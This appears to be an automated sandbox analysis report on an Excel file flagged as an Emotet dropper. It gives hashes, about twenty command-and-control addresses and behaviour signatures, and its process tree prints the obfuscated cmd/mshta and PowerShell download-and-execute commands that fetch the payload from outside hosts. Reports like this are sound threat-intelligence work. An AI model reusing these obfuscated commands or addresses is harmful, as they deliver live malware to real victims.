Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    18-01-2022 13:14

General

  • Target

    941152862708266.xls

  • Size

    128KB

  • MD5

    d0efc7a0b8673689b738de5d3d155e6d

  • SHA1

    66beb67d482a5de21d0a614abed203a4342158e8

  • SHA256

    554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6

  • SHA512

    26ae37022b3063230afe9ea64d459176f8256bd07152a04a25d7f729346a7a28c6a5ea3c313ef2ffdddc7a0e6bdb1dc686fabb25fad67e4b68a5b1fc6f99202a

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/cc.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\941152862708266.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1096
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1676
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1660
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1984
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:904
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1656
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xhqienjfouufxijb\ededhowif.wwx",ueuwGyAoFSZcV
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:980
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xhqienjfouufxijb\ededhowif.wwx",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1196

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/904-68-0x00000000006D0000-0x00000000006F6000-memory.dmp

    Filesize

    152KB

  • memory/980-88-0x00000000002C0000-0x00000000002E6000-memory.dmp

    Filesize

    152KB

  • memory/1196-93-0x0000000000880000-0x00000000008A6000-memory.dmp

    Filesize

    152KB

  • memory/1196-91-0x0000000000740000-0x0000000000766000-memory.dmp

    Filesize

    152KB

  • memory/1196-109-0x0000000002C40000-0x0000000002C66000-memory.dmp

    Filesize

    152KB

  • memory/1196-107-0x0000000002B40000-0x0000000002B66000-memory.dmp

    Filesize

    152KB

  • memory/1196-99-0x0000000001FB0000-0x0000000001FD6000-memory.dmp

    Filesize

    152KB

  • memory/1196-97-0x0000000001F00000-0x0000000001F26000-memory.dmp

    Filesize

    152KB

  • memory/1196-95-0x0000000000970000-0x0000000000996000-memory.dmp

    Filesize

    152KB

  • memory/1416-57-0x0000000076071000-0x0000000076073000-memory.dmp

    Filesize

    8KB

  • memory/1416-54-0x000000002FFD1000-0x000000002FFD4000-memory.dmp

    Filesize

    12KB

  • memory/1416-55-0x0000000071DB1000-0x0000000071DB3000-memory.dmp

    Filesize

    8KB

  • memory/1416-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1656-81-0x0000000002220000-0x0000000002246000-memory.dmp

    Filesize

    152KB

  • memory/1656-86-0x0000000002740000-0x0000000002766000-memory.dmp

    Filesize

    152KB

  • memory/1656-83-0x0000000002280000-0x00000000022A6000-memory.dmp

    Filesize

    152KB

  • memory/1656-79-0x0000000000640000-0x0000000000666000-memory.dmp

    Filesize

    152KB

  • memory/1656-77-0x0000000000480000-0x00000000004A6000-memory.dmp

    Filesize

    152KB

  • memory/1656-75-0x0000000000160000-0x0000000000186000-memory.dmp

    Filesize

    152KB

  • memory/1660-60-0x00000000024D1000-0x00000000024D2000-memory.dmp

    Filesize

    4KB

  • memory/1660-61-0x00000000024D2000-0x00000000024D4000-memory.dmp

    Filesize

    8KB

  • memory/1660-59-0x00000000024D0000-0x00000000024D1000-memory.dmp

    Filesize

    4KB